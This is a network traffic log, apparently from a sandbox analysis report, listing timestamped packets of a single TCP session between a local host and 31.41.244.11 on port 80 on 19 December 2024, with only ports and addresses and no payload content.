Dec 19, 2024 08:09:14.480139971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480154991 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.480169058 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.480779886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480882883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480894089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.480946064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481039047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481050014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481060028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481070042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481080055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481084108 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481090069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481101036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481107950 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481112957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481122017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481127977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481142044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481142998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481169939 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481199026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481758118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481833935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481913090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481924057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481935024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481945992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481956005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481961012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481966972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481976986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.481982946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.481990099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.482001066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.482012033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.482014894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.482023954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.482036114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.482054949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.482080936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.482667923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.482680082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.482688904 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.482727051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.482743979 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.573862076 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.573877096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.573941946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.574249983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.574309111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.574390888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.574505091 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.575444937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.575495958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.575565100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.575565100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.579797983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.579817057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.579869986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.579893112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.580243111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.580363035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.580416918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.581444979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.581486940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.581516027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.581557035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.582642078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.582693100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.582714081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.582760096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.583920002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.583982944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.584022999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.584094048 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.584990978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.585045099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.585093021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.585232973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.586153984 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.586227894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.586281061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.586318970 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.587440014 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.587487936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.587568998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.587719917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.588608027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.588656902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.588726044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.588856936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.589714050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.589776993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.589834929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.590926886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.590943098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.590991020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.592087030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.592159033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.592278004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.593337059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.593413115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.593466043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.593513012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.594444036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.594496965 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.594553947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.594706059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.595691919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.595746994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.595782995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.595829964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.596833944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.596932888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.596955061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.596987009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.598031044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.598051071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.598077059 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.598107100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.599200964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.599289894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.599405050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.600387096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.600533962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.600585938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.601525068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.601639032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.601653099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.601703882 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.602514982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.602606058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.602638006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.602674007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.603481054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.603528976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.603584051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.603686094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.604413986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.604466915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.604495049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.604549885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.605292082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.605339050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.605339050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.605427980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.606112957 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.606229067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.606286049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.606962919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.607012033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.607070923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.607114077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.607839108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.607887030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.607944965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.607981920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.608690977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.608808041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.608858109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.609518051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.609642982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.609658003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.609680891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.610447884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.610541105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.610555887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.610610962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.611238956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.611355066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.611407995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.612099886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.612164974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.612195969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.612260103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.612958908 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.613003016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.613125086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.613166094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.613810062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.613886118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.613914013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.613955021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.614686966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.614698887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.614756107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.615485907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.615529060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.615588903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.615634918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.616353989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.616396904 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.616461992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.616513968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.617211103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.617261887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.617314100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.617360115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.618057013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.618104935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.618165016 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.618222952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.618896961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.618947983 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.618985891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.619036913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.619756937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.619802952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.619915009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.619959116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.620625019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.620680094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.620712996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.620783091 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.621454000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.621500969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.621566057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.621619940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.622358084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.622421026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.622458935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.622503996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.623231888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.623301983 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.623349905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.623516083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.624139071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.624205112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.624239922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.624294043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.624948025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.624964952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.624995947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.625727892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.625813961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.625849009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.625888109 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.626585960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.626662016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.626693010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.626748085 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.627438068 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.627486944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.627549887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.627597094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.628238916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.628283024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.765924931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.765945911 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.766021967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.766021967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.766345024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.766467094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.766520977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.767189026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.767235041 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.767324924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.767513037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.768054962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.768145084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.768181086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.768362999 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.768955946 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.769015074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.769047976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.769090891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.769788027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.769834995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.769861937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.770001888 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.770601034 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.770658016 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.770730972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.770803928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.771440983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.771492958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.771595955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.771636009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.772334099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.772381067 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.772450924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.772490978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.773197889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.773247004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.773318052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.773442984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.774060011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.774111986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.774178028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.774230003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.774861097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.775005102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.775077105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.775754929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.775856018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.775859118 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.775913000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.776576042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.776632071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.776714087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.777093887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.777445078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.777548075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.777551889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.777596951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.778261900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.778323889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.778381109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.778422117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.779138088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.779192924 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.779249907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.779567957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.779989004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.780045986 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.780122042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.780688047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.780891895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.781018972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.781065941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.781699896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.781759977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.781809092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.782547951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.782628059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.782672882 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.783392906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.783519030 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.783570051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.784255028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.784367085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.784415007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.785099983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.785223961 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.785969019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.786025047 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.786077023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.786663055 CET	49802	80	192.168.2.6	31.41.244.11
